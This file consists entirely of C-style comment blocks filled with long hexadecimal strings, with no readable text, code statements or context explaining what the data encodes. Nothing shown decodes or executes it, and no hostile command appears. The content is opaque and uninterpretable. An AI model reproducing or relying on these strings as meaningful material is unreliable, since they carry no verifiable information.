e0a0022a38fbe494b3b38f427974ac21a3c5a4bec31dcc44da5b2a83a72cc43940b5dafb53f313cd7046af695eb6a19128250a97a2bf949e4b316f58286c262f03557db9664b3da7303aa56f55329460db6bf4354337c778fe18f2370698397f7fd50a605749aa24c6fbf58216ebf2aa5983c54ab87dabf6c4b96bbbb5fe7b8953d7d5e09d7049e529e72a5888b32a4db7fbeb2802d7b5501f64278f93deec65ef46d096b8ad7374d369960e895547b71b2f4f4ca194f658774793619f42d0722d7a1e44b928d6fc1d392a4c3ae0ef1377a2fec0f97542315c14df9da9aeb02543b7362e9acb2eb953268b25f94e24546ad8e7b1c401da99c04d14ac82578b042534329a1272b26c40d94dc5a0898f5281929269fffbb8ee95022ce83ebc46e7a40944e2289c312f5aed40e53e60eedbafa2c773b2a001e2dfbeb059aee6b945d1dfc957767e89ea65c0b6f74cb625d7ebe18db1299bff7b3e2e63b4318cbc5e0d4d17b321c460fd8cfb9457104fa574c56a16e0bb5cc36d0b1a6eb061b6ae6405a0c7a6429807e9daa2a69f5622d3a26e7147210dbd75e071255ead4ea01ceff00daa686a23792416ef3434588fae8e87cf60fdc0989fd59a407560b0fc664389b22511ca05ab6c4d9d844b7af534e48ed41493d6044b3dda0e81d4945c4dd7429ee3ce5c09a731fd00bfa386c47877c1d6b0da20515b05c43a084bddbf312d4f183d76485a185e3328dca8eed0a015d74ef7695e2944fffa57a712d6af2c0668312f9dd811a821d2f0b92e65fa6c01fdaabb3a3b7e0b78546c30c53f893400859b2ae0ea7f4a147989b4d512ba1873c3394a31d5aa513ac7b2c238ae44f94048add2c380627eff90c841f3191d05e56412f315e83cbfd6fc7addbf52c130eba4e748cb1463f095e6329cd3ff55ef507a28eca39a70e86927765b84ec29f180cdf7696c3962542c69ce97ed2050739a866d3fda9c47b63259aee1e13c391dd28603f1bca0818cadd4c0e5b36ecd689e86f8ad9913fa1d8117ad57661a94294cda7a8b9df0b2281a1c1fb40e3929c34a925773bf344d42c1f658f70a4a3ce98405a90ab4b8a13fa0068fcea86aa6a36d073471df1549673a5f105c21734539159fce92c9a1325cb8a2ef9ecf79028b0199511fa40b54c5ddc31d986915ff9ecc65a91951c32fe37a91b724893b74d78f15a04925ab5cd772af29b5cb8a60cbbe0d5e596f8974ea93b9f8662d82f3cda9b195070524b300cfc251c299f4cd26da70e5765ef2c569366e1a5991b35b20f0c15a9af726cfc6ff446126a51cf97bd0de0301fbecb12c9febc7e8da327ef319da906293475316f2507f30c42f1914f2a620f028931494ae9658630b3b176accc9c8f3aa176c0c54756c6bc27a76ee3c5ec38e22e7143c44f076190ff8ac8a694871b0207ab04874ead64f7830a25d1e21909c53a5f56909fe7a065d76fb2f890f800140f2ff193661e1d0dd808f544deaaeff94820bb78f0e7b720f24c8c889ca41b8f0d1082f0f4757a30fb3a25c1ff25e9283176d7aa45a3a95d700ba3de5e98684decb6536f74a86f365f5a2c3b9c86b68544017ac07cd092717b8750838b141e53968b3bb2aaa8c0d4a45524b986e81f27ef47f5aa07ff809f87947ac9aaa5e2dc0a73774bf56081c404643d4196019fee4894731bc740c1e574b86a9f3555fe68aab011bbc25f53431388aab8a3077b6576521f0a8a708920980f7b18b74ac25bdf81e08ebbb6ff37ad65811cbee2a9a7044adad194234ac68e239e2d9a198481758e11e483aa439d69417f4d0a427b5672b1d15d222b3f91b521dcb4a4fd2efab886b2b51dc5a39719f1575f1a0709b550be0be0299bf98c3735f769a450ac3c11df0412d1430c14213be2ae3c3164d1f9c45c6d9acd8ba66f87bfe96e61c4c77886234c91d7a3f2dca295a9275e568d20ebdceab0aa76cb22989db247adc66bdba9fa83c530d0a521a667cca44802f0df1227505942110d2e*/
/*bfeff51b96c3f4c7124837cfe864d49ea7ac4855edce00bee891a8048d8ee00b227793d928682d72bac37ff5933ec41aa5c4a6f8efbe061e548f55bd45ff69dd085e44b24f119f6a5554dc0747b6dbc54f54449ed4f46eb2014fcfe86e0b4cc34ae4f209bd6f408363f1a4a4f6f87d2fc0d329cc5ae606f20b51c72da8b2fdc94a322adc7a84581cd5445caebf92de60382bb6cc89f0f3d2a2cd175ae8ae34bef6f64853a4f801678ced1f0941f5ae11e22d9ebf7180e8a26a3fd5b230526a82fb6c1a1070818a38a15b9cd9735c76c538258131e072636e09a3a61be5d57bc7cd9c9c6312935dae87b505722e2107518b0a8d8622a182e99839d090b641086a5e83c1fd26abd0cd23fc63e00cd40015185fc1869fdbaba9ba0b8ee1972e73024a6e40f7e6aae1ead8eab0b4cd0dc5d7053f6863224cc1be2855bf558dbe705bd6345478ff5a274126c5f49fc74734ac84f4b3f9e862f7bb6f3e2be5f8983e72ea8d2854596745b3e3e9b32b3e70b97d14d60a32d850442da33a12997df31f8df6038242ab64b459ff9574f3d59a12d38a297976a6493601a9c687e57a6169e73659d3ad34484b9d0d346768af2002fc1d59e5c8ab8a630bccdd5f5d54dc0be75a28e205649efbcdc8c090f7a1bad584d568dc1c8dabe9cfcd0414c132ca2c2c5348fd291f4e04f6074a1ad427fde00fbea8d8298b3a0443ef0e608446446a8f7d8b8ebc7e9f0696c00b46f0f985e5f57ca83c80f4a53fc1f956e2bdd0a86a99de04e10cc994461ef0efb27203559b809f90720dc5ff3e78df3609439c22f9304b82dd713d165ec44bdf1ddf8eff30619b4267c9b1715152606541c72cc19f7d0c008b84640e76995447752fac052f9c2f287efabac7029639b4234e01dd820bf6302335df07b1d1b17a1e9378feb41c66e77279d7c31d2cf9973e284d00d70040109180fc1da19583c953e59d66f1a1c44ab6601f3760fb77a50382e4e457541f4b027722bfd9f4327f7971819a371cf2d43dea1d6d40fc87e1fc55406f2811390d368c79506f08bdead6e11071c36454427b298d47b3dfd3f873c8e01b6a0f5ab794fc372b3c77edf0e39f2bdaaf1e689c52a08e665c0a6ebe72bd8ecb377d06c4541e6eafe02283a11899905ab28fa94a6e2dd7acde7b4dcf50658e3e06c976dbf34215256981daeed783232603da3db1ccbb4429850dae8848ea43aa0ddf58a9eaab7e1b5045bc06f5c327eee73f15e7b2daa391fb5b8940eab2f13df204ccab7322add0d1810429aa0bdc0ff8ffcadd72e8cdcda71548081b440ca6c9506e2d0dad2e90ab0132b9a67726e03076ef63711cc176ad0be6601b17515a539c5cd1e7be08714f5846d8de09342b76ebe552e4fcd8d72a1645e95519764884f271520ea6dfb2c97e64cd8331dd3df2b43bac42f95745abc7a47a222c939b675624c01741075b597b4136f56c9a77d1fe00dadd4b47f2a1b84d4c25754b5d4270173447e08336c265a950a6aa874e73fad43c3aca30719e274bd9a769bd8eac1614d83324806e0b883a56c306eae6c0ff8737337e1a22c7103c9b2c07bef0c045b7cd78c7a4a07edbc329210b2545d5d89c713fe5dd436edc46f6d5a2b2fdeb065a44b9d17aad7c6d8ab5f0b3ce568bb8c0e6d255c070780e8acf71a20fcdbe8a9bd13825b0e5a6c84a24342607c9aa37ebadfb6aeb35b1fd4535071fb5b3e339f79395a146d3c5511a90b07cd2578f6311b87f6c944644e7bf292fbcfbf440ff696422e6ef2ecc61018524f733ad213b9f634616c27aa788744d4d451ea0396e3517de67ca9cc2d5562673d3ca869cb7953093704a424ab62a57d323c71e32628fcf4bfe2460ff128bcdb15a647c0df4281bd3e799d34c5bc42a57a9c559a2e43cc5282645d7e668b3048587662d2114824d8604b6c6ca50050c505c1b0f655596b8a79f68a51bce849d0ed7cf4dec36cfc98c60d974024ba21be0f82989b05c48f0963f9414010b11425fd5d09f25d1584522fb24c8877677e5016e561f82cee35552f81229cced9610eccac39793c10cc4fe008ae4fea462c356739f6c56ca3830d5807cfab12aeadd235973d7a277e1065a83f5b3efa3d83d9c86af807e3120e893a42c9fdbf3e52aced97b733582aa89e89033fff4452b41a369aa7af2f2747721feb4c2153786e5d33212f4a7c96945dff51a072844f73a3c75e612dca53c27b24ba4ec72d5a49f82cca7ddc1b0f6dd863554ce9d5213d7fe7cff7c2cae9ffcae7e34b5b89f1eb64eee8a1c0434d2b865f487d3e35a8b857ff8c7d7f790e47e7533a2c0c6f586f92fae6ead478b40a4f21b66e08cd997dd26a1b80a899bba8f8bf8426b906268172c3683fc6bff71921197b7f6b9cbc324a80ec59cbb4eadc5260712aec375d5cbbc8e2ee775b54fb675eaf6129be3f6789a510755cd6948d5d069b8a7e1423d9780ac73d4a027d8d0178196b7ea2f15c9b5f48e856d2f2c5310bd034394a74caa546fea7ffe5f37f36cbff19a72298193dd476587f95e452de88a03b9ad158f21de9e76b967fa94c2924e4e7956636b3cd23503c97f817c4cf8604f48824393e8d0a9efb170c0ef065affafacfda127d2cc18d592b8a94be14d4082758bb047e1da57e07ed01dcf3c5b5d5870354e6f860814e5c12226de42396d74fd1177199e6d38c4bd2869f98db68599cc7b68ed581316eaec1846a809b0dc2f7cb17006c20ca87627408fa93a335cde180d0f3fd23a1d7106c7c2919ff767310f3a2a7a3f6ff6440a2f5353208da94815ab157e8bb59c9b0cf4513302475c719ed2f394003e6fab4f80e6*/
/*24fcd8d012cc06a9288ab8c818a2e5ef85fe866d990d4714d47057f8a0a36f91b1601ce81882c771e0adb879bec0bf0886357cad212ea2b26198e30b69c1603576d973c4814b8bbf09c6c336b6a88b8c1203aa5e0239ac14534f5bdfec104bc43d7d7616c31f82885ebedb3ba462a66728f4633afdbf07c7412a80f9046c0aaeb93ce3fdbba38e6f69e4de914b5215e2caee8465ac171509b680b37a47137b517f05742ee8b06e6b838dc8afbb0352815e7733615a622fc845e63a05c851ea733a1692d65ba254156b1984a5f277373e3a37ec4ef56b0bee478695d71c7af80e81ee6507806c1d3fb98d74c9f505b4e1e45ea0a585d0e26950e593a3d32358bf0160f4b9562e13daeb95b81abf2af3c63fe8f71acfeb7576be439ef2e13d0aa394313298bc5c209e3e512333f67445e682c29c8039974c82e1c48111aa527efa0ca9debd0337b4c4dea91ad0b88341f71f468da5c6f86508202165b8f34c42c96d611cc9325fb83f454bf45e29cd528b0d6d54d0cf8de297f301dc8f8e9ec322f2d1178f61df9357999585eed14b1f64ac07d3c743d175d876d265b3e2c085606434f77d489ac641632ac0acb5cbebdd77c2e303d7aac50c55ed318f1dc41f1f8b9f1c757259060b82394414d2a01fcde4223d4f94eece37b3f4121da9cefb13e62699afc3892ec3fe18af722e3331241e99ccb6234dae355d037de842484ea18977ea6d88c99c4db1b2c544f8d8e9459433e5602f0b3d9aa38262e9eae6ab5b7ab833f7ca603dadf547b5c8c8bb083d052f8912f1a15ebe9d449bf103e08a15edc8cca646205087b6dbac0ebb8c4f9895da6b1698d3b6fadc1d1eb2a2b7131a6480a22cfb2de1a2f4de1e45aa107ed0de9692692fab428bbea186c884e880687ba3b31298af113c20fcb11f42f06a1e8bbb2e0a3fe305bb420838d9d314187beebe5a3ae1d17fd202ab6010218b3c2d811a6266908ba0f063fb1e6424cb718c32eede1c84dffc74c933f5c66b7790877bcfb8f36ecc0c22787ad840c937f7add7b774b6fd73d92c882283f0a1df1cff840b7fc2784a8c337a06bd5b53697a4802adfddaf469d4fa9a76d511db6ec3a3f849a06ae58513f53884cd2495e6710efb5f074612ec0c71449ea97c286120a7a3cb7b72bf9c22db2d628850df963a5c9eb0469a3ad5e60786ff2dad07798818ab15427550ea240be72e2962e8ad010c4633b746491dec7646944144c79cbc4126716b6aa4157e9746ef0b87d693047aa1571a3fca4ef3feb69e1b2df1b3491bf9e7fc2a8429b24c5b735577a7c1a77edf7bcfae31ca3bb688cc2b75848976072d466f8928a0411f32f633592822e0ac2a681f6ee3bea408f65605106c31e538bae64c6a52159ba4334ead8219a9a6f6b8f5c0fe1af6eeeaf1a302ddf4df14db2bdecc070a6eb132f82120b20a8c54d7eda914c7ac228200ab59e638344358675c2ea77ed04144151ec970361f869777d4330858eeb0851e08fbcc52b3e80625b3f452e8977f599bb3dc268a54276c5cf4f3821fe77b4ac81c84d52be5b4ddf4d4493e0555e41441b4ec76efeb3a32bfa2f1ec2abb708f4b110ba385d94f648dec755ff39d4a1c8d9bdd3b7a8ac65bd8bb572560b9a6d303205b9407bede329d194ab48b05cce3207cd7da85362915fe055f633325f54000527fc6087cf215ae3c6b8af4a152a4f6d15f0e3268f11e8d269fb03dd9a8ee0b7f9cbd9fe9f9bdf5f0439bd6f9fd63cce9d48b9abdc7f92c08a926d2179fb907b39ab50ab7a571786e4190f0a3de6fdd175d08e7cbc3eb1339781af561dfea9910bc8cd4df54ce4f7d205105a4f649633ea607e322bc6e14e4f4cb02be7089131229587b577009d544e12f4bcefc9d454760e0afbbcebf1aaa6c9ba1371d54b6875d9903f409d6d0fa7ea4cbf5b8ea65402982781143fa55f72f19f6dd71fa153660b909d2e93c0baa00085f09b1ccc172d00f93b86eb30ac0a04c2d3dd6ada8ab2641e08b23c880ad7088ff6c2e055697001a9e05531daa5023463b54852671571fb4f393a7abc6a0d8c5f5a10eac41b7e9f7e48e74f4ba3c5a683ff5acdc8d0729de55aff32b77f18607a7101f8290718fff5407682e04e521403c4f703d817674d82fe5575ae68dfc900035bd1dc15b8df9ba4e3a415f20f5574bbd84a8c0f4b94b3ac607aba2933a024ed51c730743e4e19b11e650efa3c49de57a1bb0664c4f2178a8e63c7afd5c8a75af288d6bb0aab293df2451ea34e39188b10ca50c938a6347a883804fbef2a691bb677c89f7f6f277a1ec641cf642fb2d2e83ef78f1c7c785b94f3a0ff5566dc8a3d865d7772928e0aa6f859e8a708fc3d064e1972857f53546e76b94e4ae1d6f079d31ca33bb5b5d67e22e07ec1bb4fb7b7a851e2cf6eff02a9daa200c9f659a46cb7e12dfd5c1b619c7123cae48dbadd57dcfb3d905d685aa9cf8b2aa8cc71508da433a0d20fbb70feb290c9a8a040383a4554f7bacd80f046d1af7e04438bae4f63cb367b1a7be8aa08401f7f497822ac1b7c2967699205670075fdfbe1903eec0d3b4372bea169d8476af2e6daa88bf4f22b6e5411e3f270ed5b5fc13f532507bf937d76b66d1816fc2aa814cd9f98c93d4f76d51a93a9608794b2b61d29a45609adbac0da89d6a840d073898d229c34a1bd706e942c7757b9eb2bf0879513f64dae5693316a0a0f7406e9e6a7669fcb1ee4aae96568b0a0f2e6d6d81770d3ad18680b6723cc7bd879f301153f04722187da0cf465c5353527c9e95291a700b98a9ec47da69e19b5654b8d451d406b7803f60700519300ceb7adf*/
/*0117567dd63f8849ddbcf156ddaa630bc6329930ed9d762d68b0d5a72815901bb6a5efc63342755861f2c581005e7a3d9d1028ce4b1fe11c8226aefa38cc123652645a4fc9e879b7fbbaf8acfb0c2be39bea95c52fffe9671ddd95478e6aa922fd6079a6f314ae000f837f6afded2d779c092041e5a5bc8fdff208f5be314f1410dfac3e4c35c1b8a0f0a061671f0c004c321df10fb67869229580df2a649aa58828096c28cc4e5683f318264103e80d4108e290032a3bb22c8444b4225fa938b590d4a7a1c2b5d2883fcd3ca2816ab6c5538e0a21f0887024d6eef7fc9e698bb3e9eaf877ef54446105194c6f1709606f72c4f68161cd14a776aab3858f6af71ee7812e24b94d58ae6820efe980c3bcdee2933c1ef11e2c82ce3a8e51b246a4b31bf4f45e1e1a621e54265aa4e59bc66a1b0e708b452b4b53642e95328d78cb1c71c93226807b27d510434a4b3e8ef08098e33c25ba15a07328bbaa382ce0a2c3301fd0fcd81343c4d9a05e49d00c582c274b999f1a8bf8557dd02eb64ce89822f51efc6ab30ae6175dcc287ffbd37ed59989629616e7a2ca08584f7cdfd1baca83fadd42155002ae8d9dc89aac36cd686507f5fd604dc0da62473152f76184c6be164fc717a55ec7640f27f761c1ef3ba1ceae401e076d553929144a3ff7ae277d0307f27e39fa5cd15f30581a3e9706d402498c8119207a5db47b0e303e3cfab933b421507473e9d711518ce6e1fa73da4e57c38722ec7ab99af3aaeb62254b872ecb5d773b9503bbcf7b1994c7e3bcf49879474a519b8af22d1e0a16c3300b93077a94a82e389436db9117acd836f2f410c2642da3c01db5bed6418290eae899b6f772a162f59ca0f2357d8a04de045a2572f0cbe3d0ff57a7464a995fc529af650cca583e8dd9bebd104234f480f0080471d6e1be3afeb7dad46e5bc4caea1fbf4d9e372452f25a7a4038a5e894bd12cbf60e00472f382476ee578331da950874c189e3a8df3fcbe3a073b8fce63b9656d05d0023ce08b7db450b0d1f3efa17567beb1c4dfb449ce2e53b9a654ba50e24b268b7105c79954194055788884d31095c88d746608b345dcbbf29497d15125bab7cc257d2037715da29d7214a2e53f15af84fa902c10cea65c01d45d7b3f8852c5347965327bbf821b21b9ffa6f0541b893bbd790185388e2de98ef382f96b12be0a23ee41bf02f885ac2f343599035a059e1b704d768ec561d91a60b42be8020b6a780930424f3aafd80848db57c5967673c31bd64f289d4abbf780de5dcf0da4e3a465e24558f077cfcc275edf2d7fceca8078042121ab79faf4c4d2a68fb47cdd19b7c4fc5514066b6daa01404c99c75c4a318175f0e7b86c81eb6ac3e51b97e1d24439736470b0f1a8861a57e55cfc42c340f9d276216518940ce32d253ea098cf3d29a80bed6b8db6de96bd0024c4699b680565b3bfa872521eb9827835160a07be6167a1f51882460adde31a9c31d5243b5bd90df1cdd03bf23f02cca91c333392f5ed00e5c578ac2debc28517abc73dc1965adeb296b8a8540080fdb649a4c68d73b1840fa2bffcd1f115f114745931bdaa2987d97b2b9e5afb078b5b455a7b22a4bcbb2f27ae57038c0656ff811d2035bad07182097fc35825094aaad8f99286a7581eafdef1599c995b82f723093741d96f0855ce106fc5de1330adf39dece02248b7b6246db8502062f347eff7ec28e5f0ffbd390bdfaea2fce4d32e2906315be819641a614efa00e2187009f812b9b0a9b784517a6f38c2e0a240a9b78f1375132e33fc764721e0d94d87e1f22e75aebefa2b2ffa3537859c1a7d78470c154eeb3a7484267271e552622e2a4f1087cd62f07e011f65f61717c0d99fdf123ae908aa6d45aa842e80be0d24824d4cde84f21e8f22fbe104a1d0149a63a80a26c19f847f4ab20a5f86a1634aa4702b8adb1a743ed3faee75e7624abeedcae5276802515ba7dcb1e1c8bc5d8e4ff1118d8211f1ff10e38b404dcc775c70e4c7c02124e2e33b756fdbd14d9494e65232e938486b4573cfefcd0430d8b05c974f58b6f4bc9d9b57483f467f6e3a48fe0505514c9d829df87d7d5cde5dbf256cadf4f1f1e4dae2c9e1ae1e8e29cb970a358887aa4bdbc1c3853c18e5f30a6ef20951fc33baa4d1a5d4df404ee37a9c9bba50eaa66d27f6420e33df8f7a12b904e48e6fa0e90f28c76681e081dee5f4e1b1dc1e76454d63048951b5cabdd18ee403558a30cf6f82ca2660c433c6e7d69fb2800821248bd91974b09431f14fa33451c93298273ccac07c4a46563f420456be577ed681253970e4d054055705f4adc4f2e6ac0efdee59b8c39a33a3c7319aa28204d7fdb534beefdcae38c665d5ff0177435c5cbddcdef905723930562b80cd745c86dc2a9326453db04ada7d3bd3dcb7362afd0ba1873cf9e9908644e2f9856ea4f280657d52acd5fde3e5859f4b8a5cec1e7482c923d23c0ce3aa34d03d9d6efcefe35f310632a939cadca28a2b802e93d3af17c8c1eeacb7c6c59408a99285a1b67a0d04f3fc73cde250a2c09a7a01eee8675041af3dfa3bb4b17c76880c1d6c49a910de539924e8863847e9c2d3a9875e0d8fb7b226a5c31ffb516c4bd957495ef0328a10f2bd80edbdab2f411357590d0a24f82653126443138783a8921403baee84b850a95f67a5866d7c40ce2efa20f6e5268c5d2f8f252f9190c850d59bff59ffd921e76171af827ac7a87bf675cfbb7f6bbf9b2253d080a7759b7666f3b2fb3e2ef633eb7b8f3ef277ee2b683dd82241a79aafa1e96bc39232fcee3e32c56a188d71c82fd*/
/*17015fbe7b25a1d98a9caa351992a42401905d17707f05bbb6423ece95d42eba4112cd45f10769bd220e9f55ac7a897e01c8dfa193bd28be3f160453801f82daff5106aaf651f10bcc45d29ae3bd089d2554511ad8e70d52845e4edfeb36cb09ab34beac19a799728c72fa031a9821160006d1d19538fe1900f354787cdd14916950babaec0db8428e940b32cd85f09f54780e8915759bc5649a881fbb9b7cdd84175b75bf6f7d568fa2b3b17bbd2ef9c7256d7af310a4c42194659620873c4b98891ea05fde05f743d5a4e63177b3b71a3c4fec01acfdf0c5c48275ad7bbc0a832e6f62ec1b94578d240317e34e318828267b8d23164fee630bc21d8df22bd54b76d11e24fe500f827e681a7b66a43962b3303e8b8cb1c0389a09c826a8607376a99461887a314ddcc1a8d08647857ef015d54ec7a0a1725099c530adcc9438d535414193856fcc197c22df2b7bbc7d9c0cdad524f7fafdcd0a695300cac5e15655afc2219a87911f9115e472cc7be2e77c00b1aaf49730da657f72c01fb02f861c4e2329d550cc396962fff06b42d3314bc374d389d5f4cbe49bf7a0e23e4629fac34960886c2b9d0c2226decefadd822e61e319f7b89c2a6fef4df8d99e0ce8273c3838ebf5a7c78ade93784acd3ad8bba6a1137a72ef267d30cabc20da750976347aaaf6638347f7d8eb8d4535598723b21bdc9a9da9b0f13e86450a04639f9a34f4d3cf668ed04de82a617f21c3d9bcc4c09dba8317275c402685dfea825bc1299bd46136dcae0816e409caa48226cfff137b5db0c867045dbd00aa722220aa2fcbd81fecf940bd2f3b73fb85308b06f249052584d6d1dafd49de7a6ce0f7754256fee96a954408705ae6abd054bd0668cb32b8a2a36ac119f41215beb8e223402e064c40553853ca8051f741d2d68af791fd2966772a85d3f8bbe6797d02aa86cc205e3177782579fd091da7cab9fb0a4bddccf34ed0c26f24e70be88b9dc680f5317537133207227964a52853c9482a033b8de950bf565cf0a918c213dbbde1387de9cc47312bdeaffbec772f85583b34069a72c296b2ba3e1698da7b999793ff8d24be4b2accb1382852b6adeaf7013f32995f992a4783c77b51de62161e61c41a97ec4ae9e67942335d2939a8e28b3a994656ee8ccb9369352072d048c4f893e0d59badc3ce58ccc2dab98ed3ad98497a5722c59bd02ed66caf06db1f6104417ca636e459e09fbf3a4a8b509554de8e005296d42a19286dc0c6ed7da79682506ee7869e846aabdde2ead71733314238e746af68358f86f5e710543800025c23b15e855882c999c6d202c13a47516c1d0f42d371e132f96736639d64ffc313777b7006c76fbc9e4da4666923016fb9b48d5059284ccbbd95909991fe641a3a74efc393c1873bec541058194421cd646b02d16b474b023d87019199da35f360ba439d8f1f1f7429e92a3c5adf9fb5f1f064d6d4bb2d3b29224959fc4106c8338093c46a33690684762d3e50510253cf5ead8700619d7709e5167c2ccd41a42a2cbaf035cccf4e6a9581ceb20d8fd0bbbb5530d8c181fc9af4ef11c8dc71c3fea9a1b8bf1c232fbb31dfbf13c12b142fe9e4d717f6a165b72493bc1cecd4da34fe45d6d18cc2d03511f201c8c9d271b3fb3cd7ae33ecd89e2f2ab877dbcccc6ed7c62bf5bb077313ff5036b6145d25d3cecb4ec7d77f640b1a6bcdc74902d062b5e3a2856420164ccdaa0d38be6d626175299d47455045d1e9b94e90716a24531c11fce4e9eeada618cf1ea842464f9d709de6f3dc6a1d6fe212c33826f89ad572149ba196f7201bf299115c56a01d7d712289c5f9b425247645a1639f9f48b1a5b8535ea87e181be0028e32829eefb873674c4c360aead28922d3781dd72e1c3c0b8f2386ef98564518051f2c1906af09bfabdbb7e9dbe2059e767e7642690c1dfa4bd0fb5f0cdc6d31d7bdc335b4a671b1450e30e1e5ead5dfa523f3b5f89008bc85315bb256ce4982fe2a7eff624a127a16255d17cc37f8d81d657848a8dfc07cef7a1ae224af25345db8111a49108b553fd82e8b8a23bf0f8cc2eb9d59d3955f36a968574848791f47dbd8e589e49acaa43568241cff83d3d75e826b722c440cd7e0bad5c9b3279458984dde8adee6bf33c80a3c16484f4d5bf05757826c638f0e14a9a6cc53bbaee1c7a3824d936f2fe5b17f2dc92a75724684633638e656ce08f71898931393822f3c1e1024582f24be6ba5bb4559209cefdade4ffc376709fbef1650dad199fcf18332035f0bd3e6359e1284f3c460c6bce5a1dd229311446403442dcfb7ea5d22f7be0c13bd0d890d07ff99fba327cf6de6cd4d8cfa211b525c7e25cbb733d00aa531976f0f2ec755a6be69bfe747f12a5a9cb12f698f06dcf39c4046a2b90b12997aca18b81d48e14a6a8b19c73c365723955bb70d5c321fd8320db088778de865ad2636a3e2b192d34f8d6878ca128163797816012fe8dc80b287928d764102503c5b229701f7df450c110fe54913e84ac887c68e99a614bd474b71c70b3bbfa2fedc4c3ca2d2f8192195e469cae1eab32f9a756e23af2abb6dda4c3d42fdc6a10b7e8e0aa142fdb16301f3958714161e3314daac0f1fa2061a2b9c41308174648c94d865c0b614ab6dcb1f07c4cd1c69207abae92902476b1d2f7a47571fbbcb07f86d219e94a4350db440aa7b2e5226d49e73e82d61739d2b9ed372bdfcb1dd2416d614d77bb34f4163d8cad99184b3923a5c6b3ee09aa5d8557a38c99ef170e4c50da47ee68256ab58d741662178b316241ef6d57e0f7357de7aad21f4255a9d*/
/*cca05fb0f219d87ab7cea3499a71ff16688d6aadab15af0d6eefe0ab4b05abdc9c8a33b033db0cfbe1ad5052d31d6df592cbcaa8e1ba8023f935dfda32fd23eaed161f3272336b3c111f3e0e5124ed7b6257395802c2a26941719c64c81479490e30c48e554823757f8b319c4654b55e80773a757296fb98817a019b49a834855088b848ed827e587cb94c67a0d56705d7e8677c4d35effc5203bc589cbf97b7d7f7a9facf5d6659e2fb1ede1b97f6ef15dfa912ec93f2c1d9e30d9317853336b056e67952ef038f012de7430101599e5576534360ccbc47a9f2313217aff1d4113c48d6ec102ddb331989caec607342f1e3b661c65fd2e851ae8dacecc2a38887eaf137f0dc4027dd31cf9272d60cd23589b577842bbbb8ca30638bb91872be29641b14cb559c30223fd835547d0907b590238bb608d945b4a5e7b9a99183ba442a9261526418613d53ec7097570e77821ffa468abde9c0d2a405de159bd03a83c14e6d76eeb39794899260dff61145fb6419c0b45ec04fdfaebf3ddf49f6bec3cc56ed6bef84b1baf5bc714bdde4e172d47f9a7a0db4f19c50fa77494447b04d5dd7093fcdd364c060035324002b9183fa100df21cd0bfe953d9e311bff33a0f8505c8ec3fd2988dcca0d6295dfbc2637db7545338c898405dca287d73f0dc61824ebf5e85e8ecf73c88acf96f43b820ab35f0d7acb9bcd0959290cab5d2e6972223f63cab030eb3ac2ddacc62ca343c51a2afca79e22f92282d1975b500e691c1880fe28aa58bb0fa9fa9415632ee850bba86ce657e2765a7340125d5a49cb54410bb7da1035df8c63f697330c9117836bacf28a3af4bece8f8cc1fcc63e829b37c61a18af0392f5c818e95eda8a459dcaed01c3619f0c3aa497416572ccaabb8d35bda82551a50989d35e894a3f2c8c7ab434777b07b079dcbdae2e9477f851de4692ca83422d282526ffe5d64339485b79ad2fc72fdca6822f2ccef1ab0ca81f5489c583b1976d1843dcba1484cc29b58a9855cf775b2a3c61fd27dbda2305f1802b932d83f5445d74ddc3556a4b2b7010284af4d9e779023a4ba8fcb8ea2fbf0f86e63c193f4cbfbd5ad7d0a3350851a6f3da90e2c038201a8857cf1adf1b3c7a4f8e6a55cd529406c0b1a3edd4878685e07fd8cc77bf7f7c16ac2e52e12b34ac09047fd80d8cf47d19dfaabd5d879c0176e03dbaa316996785ba3811e2ef87d53fc742a0b51c452d9990104a23cb89037cb0da75dd83c157261697081e02fd8ac32f39ad8abf2395c826dbe21fa2e425402954fde3ed6d8168be47a0e908a7756d12b0d0a90da5936777b323a57ef84026d5e05d3302ed6b1d8cd475ae67273d85d339d491beef20745dfea8a55522b67233844fbcf33b76c3b952cf36629de41af80444c73650934b22e2e79cd9d8475f4c43c4c04f9be136901068df528bea9d40103659fa15e8355cc9d90ec7c2f1f161bc20475afc8ca42dd8b978fcc2e99f2e2b886c7083d15cb9340f4c42406687fc64f242b4ca36cba20ca40c6b2a646e388fff0ade3981b2052de01201c474fc63f60d8d3e412cacdcb8b3c233cd2a14caa30bd393ec1f7fc35f163cc03a038bca2aa0781827c06d1c61c07009f9b3ae0c4defbfc9e9dd3f1923ef5f3d15111d3998609618ba43fccca811c038333a7cabf94d3fc3917ea1ca00b55a3822a0f4241a348747bc341281f15e3fcc15ccd725b6078ef9b58fb589c5cd94cb64bd9f459735a23049b8b95fd417605283456132d29d766d44b4425b34a5f1ddec2aac319dc382f9a94323c5fefb53066b4a98da21dc6807af9045cc0833e5c9ca4ef622e33d52852d5348514d7250c563b4124cd177d43853dc4c272c582c1553121e12561a95d5571c8fea9449552db1764e6b16ccb3ffdcb272a5c217bdef7f39e712a73cd94895d82e7b00c35a8cf2f0973fc90224ca034269b7e516a3aae83424bdd28455d36c5f2fdb7382335017531327898e7c69103eb3afea3c1ef00d2bf10c5eecf43fec941dad79891e5f566c35089c961dd37e254b3aefc9a6ec7fe04b89cda9edf66397aa560c7d7dfc0d1e1705a54af248230135f1c76e0a6a6f5af1eb5739fa424fa9d1c7b8d650bb80ccbb8c222f000a821f371596e7c7282984f484a25c65a33c933ab2a485cb2f5a5f7ebd99677d6f1181824eb2d17fc6172398ce9e61980891785fac70d3674db2c2555297540e27b43d5ed9ec646613d4c17494094eb80918bbf11cf3cb9b374f8d806cc45cdd505cf595e6fd8abdab597601e73865e28bb252ff8216b77234cde56a2628ffdc61afecca7ad4538f33a380011b97960618e1734b3c1e644196f01b22b37e641a6f63a7c42c27a343e1d771102226f6dc976975882c20118d4a959a7b635adcaabf79268dcfde0703b1fa978b4b4ee4f245aa85c8e2f3f0a6e49369194e994005f69b3283df9904ee3066979114bebd21a839735a08a92aa50ef3c5591b5a55a03702198c17ff8099a70fb886f26749c5c06f44908fa2123b99e073cdb0320305bd11e091f1205f868e8d761a7612012bc4e04e000adb4c17f3e3d49e779b9d4d28085bfb5a18e534de08ef133ce7b2e253c2baf1f866e4d6a2bcd152cb150e11a823c716bcf0218a0e9cbe664501e4775ec5970ad06219d100a0f7df452a3afba55cd7f3e9fa4c7e2b56cbbb07d82b297901b75aeb070ccea0b854b9bd7651e82909fe44d9bd9a1ddbf8a05b2bbc5c7c1b45a4f0325e984ffa84cc6b95d46dcff3a2dbfab9e1ccde1a9bbff398fa594d242a8ac4e976602bd0cf9a23db1f5b413e416786b3c17ed*/
